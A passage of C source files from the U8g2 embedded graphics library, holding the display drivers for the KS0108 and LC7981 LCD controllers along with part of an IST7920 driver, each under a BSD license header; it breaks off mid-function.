u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ist7920_128x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ist7920_128x128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0b1 ); u8x8_cad_SendArg(u8x8, arg_int ); /* st7920 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x0c0 ); u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendCmd(u8x8, 0x001 ); u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos) ); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ks0108.c ================================================ /* u8x8_d_ks0108.c The classic 5V LCD Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ks0108_init_seq[] = { U8X8_C(0x0c0), /* start at the top */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ks0108_powersave0_seq[] = { U8X8_C(0x03f), /* display on */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ks0108_powersave1_seq[] = { U8X8_C(0x03e), /* display off */ U8X8_END() /* end of sequence */ }; struct u8x8_ks0108_vars { uint8_t *ptr; uint8_t x; uint8_t c; uint8_t arg_int; }; static void u8x8_ks0108_out(u8x8_t *u8x8, struct u8x8_ks0108_vars *v, void *arg_ptr) { uint8_t cnt; u8x8_cad_SendCmd(u8x8, 0x040 | ((v->x << 3) & 63) ); u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos)); while( v->arg_int > 0 ) { /* calculate tiles to next boundary (end or chip limit) */ cnt = v->x; cnt += 8; cnt &= 0x0f8; cnt -= v->x; if ( cnt > v->c ) cnt = v->c; /* of cours we still could use cnt=1 here... */ /* but setting cnt to 1 is not very efficient */ //cnt = 1; v->x +=cnt; v->c-=cnt; cnt<<=3; u8x8_cad_SendData(u8x8, cnt, v->ptr); /* note: SendData can not handle more than 255 bytes */ v->ptr += cnt; if ( v->c == 0 ) { v->ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; v->c = ((u8x8_tile_t *)arg_ptr)->cnt; v->arg_int--; } if ( ((v->x) & 7) == 0 ) break; } } static const u8x8_display_info_t u8x8_ks0108_128x64_display_info = { /* chip_enable_level = */ 0, /* KS0108: Not used */ /* chip_disable_level = */ 1, /* KS0108: Not used */ /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* could be faster for the KS0108 */ /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* KS0108: Not used */ /* sck_clock_hz = */ 4000000UL, /* KS0108: Not used */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* KS0108: Not used */ /* data_setup_time_ns = */ 200, /* write_pulse_width_ns = */ 250, /* KS0108: actially 450 ns, but additional 200 ns are added by the byte transfer function */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ks0108_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { struct u8x8_ks0108_vars v; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ks0108_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); } else { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); } break; // The KS0108 can not mirror the cols and rows, use U8g2 for rotation // case U8X8_MSG_DISPLAY_SET_FLIP_MODE: // break; // The KS0108 has no internal contrast command // case U8X8_MSG_DISPLAY_SET_CONTRAST: // break; case U8X8_MSG_DISPLAY_DRAW_TILE: v.ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; v.x = ((u8x8_tile_t *)arg_ptr)->x_pos; v.c = ((u8x8_tile_t *)arg_ptr)->cnt; v.arg_int = arg_int; if ( v.x < 8 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_ks0108_out(u8x8, &v, arg_ptr); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); } if ( v.x < 16 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 2, NULL); u8x8_ks0108_out(u8x8, &v, arg_ptr); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); } //if ( v.x < 24 ) //{ //u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 4, NULL); //u8x8_ks0108_out(u8x8, &v, arg_ptr); //u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); //} break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ks0108_192x64_display_info = { /* chip_enable_level = */ 0, /* KS0108: Not used */ /* chip_disable_level = */ 1, /* KS0108: Not used */ /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* could be faster for the KS0108 */ /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* KS0108: Not used */ /* sck_clock_hz = */ 4000000UL, /* KS0108: Not used */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* KS0108: Not used */ /* data_setup_time_ns = */ 200, /* write_pulse_width_ns = */ 250, /* KS0108: actially 450 ns, but additional 200 ns are added by the byte transfer function */ /* tile_width = */ 24, /* width of 24*8=192 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 192, /* pixel_height = */ 64 }; /* east rising (buydisplay.com) ERM19264 */ /* left: 011, middle: 101, right: 110, no chip select: 111 */ uint8_t u8x8_d_ks0108_erm19264(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { struct u8x8_ks0108_vars v; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ks0108_192x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } else { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_ks0108_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } break; // The KS0108 can not mirror the cols and rows, use U8g2 for rotation // case U8X8_MSG_DISPLAY_SET_FLIP_MODE: // break; // The KS0108 has no internal contrast command // case U8X8_MSG_DISPLAY_SET_CONTRAST: // break; case U8X8_MSG_DISPLAY_DRAW_TILE: v.ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; v.x = ((u8x8_tile_t *)arg_ptr)->x_pos; v.c = ((u8x8_tile_t *)arg_ptr)->cnt; v.arg_int = arg_int; /* 3-bit CS value: In u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg) the lowest bit is assigned to CS and highest bit if the 3-bit value to CS2 CS: left part of the display --> 6 CS1: middle part --> 5 CS2: right part of the display --> 3 Reference: https://github.com/olikraus/u8g2/issues/631 */ if ( v.x < 8 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 6, NULL); // 3-->6, issue 631 u8x8_ks0108_out(u8x8, &v, arg_ptr); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } if ( v.x < 16 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 5, NULL); u8x8_ks0108_out(u8x8, &v, arg_ptr); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } if ( v.x < 24 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 3, NULL); // 6-->3, // issue 631 u8x8_ks0108_out(u8x8, &v, arg_ptr); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 7, NULL); } break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_lc7981.c ================================================ /* u8x8_d_lc7981.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* no powersave mode for the LC7981 */ // static const uint8_t u8x8_d_lc7981_powersave0_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_lc7981_powersave1_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; /* no hardware flip for the LC7981 */ // static const uint8_t u8x8_d_lc7981_flip0_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; // static const uint8_t u8x8_d_lc7981_flip1_seq[] = { // U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ // U8X8_END_TRANSFER(), /* disable chip */ // U8X8_END() /* end of sequence */ // }; /* http://graphics.stanford.edu/~seander/bithacks.html */ static uint8_t reverse_byte(uint8_t v) { // if ( v != 0 && v != 255 ) does not help much { // swap odd and even bits v = ((v >> 1) & 0x055) | ((v & 0x055) << 1); // swap consecutive pairs v = ((v >> 2) & 0x033) | ((v & 0x033) << 2); // swap nibbles ... v = ((v >> 4) & 0x00F) | ((v & 0x00F) << 4); } return v; } static uint8_t u8x8_d_lc7981_common(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr) { uint8_t c, i, j; uint16_t y; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: y = (((u8x8_tile_t *)arg_ptr)->y_pos); y*=8; y*= u8x8->display_info->tile_width; /* x = ((u8x8_tile_t *)arg_ptr)->x_pos; x is ignored... no u8x8 support */ u8x8_cad_StartTransfer(u8x8); /* Tile structure is reused here for the t6963, however u8x8 is not supported tile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles) Buffer is expected to have 8 lines of code fitting to the t6963 internal memory "cnt" includes the number of horizontal bytes. width is equal to cnt*8 x is assumed to be zero TODO: Consider arg_int, however arg_int is not used by u8g2 */ c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendCmd(u8x8, 0x0a ); /* display ram (cursor) address low byte */ u8x8_cad_SendArg(u8x8, y&255); u8x8_cad_SendCmd(u8x8, 0x0b ); /* display ram (cursor) address high byte */ u8x8_cad_SendArg(u8x8, y>>8); u8x8_cad_SendCmd(u8x8, 0x0c ); /* write start */ /* The LC7981 has the MSB at the right position, which is exactly the opposite to the T6963. Instead of writing a third hvline procedure for this device, we just revert the bytes before transmit. This is slow because: - the bit reverse itself - the single byte transfer The one byte is transmitted via SendArg, which is ok, because CAD = 100 */ for( j = 0; j < c; j++ ) u8x8_cad_SendArg(u8x8, reverse_byte(*ptr++)); //u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes, send one line of data */ //ptr += u8x8->display_info->tile_width; y += u8x8->display_info->tile_width; } u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ /* power save is not there... case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_powersave1_seq); break; */ /* hardware flip not is not available case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; */ #ifdef U8X8_WITH_SET_CONTRAST /* no contrast setting :-( case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); u8x8_cad_EndTransfer(u8x8); break; */ #endif default: return 0; } return 1; } /*================================================*/ /* LC7981 160x80 LCD*/ static const u8x8_display_info_t u8x8_lc7981_160x80_display_info = { /* chip_enable_level = */ 0, /* LC7981 has a low active CS*/ /* chip_disable_level = */ 1, /* from here... */ /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* ... to here, values are ignored, because this is a parallel interface only */ /* data_setup_time_ns = */ 220, /* write_pulse_width_ns = */ 20, /* tile_width = */ 20, /* width of 20*8=160 pixel */ /* tile_height = */ 10, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 80 }; static const uint8_t u8x8_d_lc7981_160x80_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(50), U8X8_CA(0x00, 0x32), /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */ U8X8_CA(0x01, 0x07), /* character/bits per pixel pitch */ U8X8_CA(0x02, 160/8-1), /* number of chars/byte width of the screen */ U8X8_CA(0x03, 0x50), /* time division: 50 (1/80 duty cycle) */ U8X8_CA(0x08, 0x00), /* display start low */ U8X8_CA(0x09, 0x00), /* display start high */ U8X8_DLY(10), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_lc7981_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_160x80_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_160x80_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LC7981 160x160 LCD*/ static const u8x8_display_info_t u8x8_lc7981_160x160_display_info = { /* chip_enable_level = */ 0, /* LC7981 has a low active CS*/ /* chip_disable_level = */ 1, /* from here... */ /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* ... to here, values are ignored, because this is a parallel interface only */ /* data_setup_time_ns = */ 220, /* write_pulse_width_ns = */ 20, /* tile_width = */ 20, /* width of 20*8=160 pixel */ /* tile_height = */ 20, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 160 }; static const uint8_t u8x8_d_lc7981_160x160_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(50), U8X8_CA(0x00, 0x32), /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */ U8X8_CA(0x01, 0x07), /* character/bits per pixel pitch */ U8X8_CA(0x02, 160/8-1), /* number of chars/byte width of the screen */ U8X8_CA(0x03, 159), /* time division */ U8X8_CA(0x08, 0x00), /* display start low */ U8X8_CA(0x09, 0x00), /* display start high */ U8X8_DLY(10), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_lc7981_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_160x160_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_160x160_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LC7981 240x128 LCD*/ static const u8x8_display_info_t u8x8_lc7981_240x128_display_info = { /* chip_enable_level = */ 0, /* LC7981 has a low active CS*/ /* chip_disable_level = */ 1, /* from here... */ /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* ... to here, values are ignored, because this is a parallel interface only */ /* data_setup_time_ns = */ 220, /* write_pulse_width_ns = */ 20, /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 128 }; static const uint8_t u8x8_d_lc7981_240x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(50), U8X8_CA(0x00, 0x32), /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */ U8X8_CA(0x01, 0x07), /* character/bits per pixel pitch */ U8X8_CA(0x02, 240/8-1), /* number of chars/byte width of the screen */ U8X8_CA(0x03, 128), /* time division, issue https://github.com/olikraus/u8g2/issues/1581 */ U8X8_CA(0x08, 0x00), /* display start low */ U8X8_CA(0x09, 0x00), /* display start high */ U8X8_DLY(10), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_lc7981_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_lc7981_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_lc7981_240x128_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ /* LC7981 240x64 LCD*/ /* https://github.com/olikraus/u8g2/issues/642 */ static const u8x8_display_info_t u8x8_lc7981_240x64_display_info = { /* chip_enable_level = */ 0, /* LC7981 has a low active CS*/ /* chip_disable_level = */ 1, /* from here... */ /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* ... to here, values are ignored, because this is a parallel interface only */ /* data_setup_time_ns = */ 220, /* write_pulse_width_ns = */ 20, /* tile_width = */ 30, /* width of 30*8=240 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_lc7981_240x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(50), U8X8_CA(0x00, 0x32), /* display on (bit 5), master mode on (bit 4), graphics mode on (bit 1) */ U8X8_CA(0x01, 0x07), /* character/bits per pixel pitch */ U8X8_CA(0x02, 240/8-1), /* number of chars/byte width of the screen */ U8X8_CA(0x03, 0x7f), /* time division */ U8X8_CA(0x08, 0x00), /* display start low */ U8X8_CA(0x09, 0x00), /* display start high */ U8X8_DLY(10), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_lc7981_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_lc7981_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, 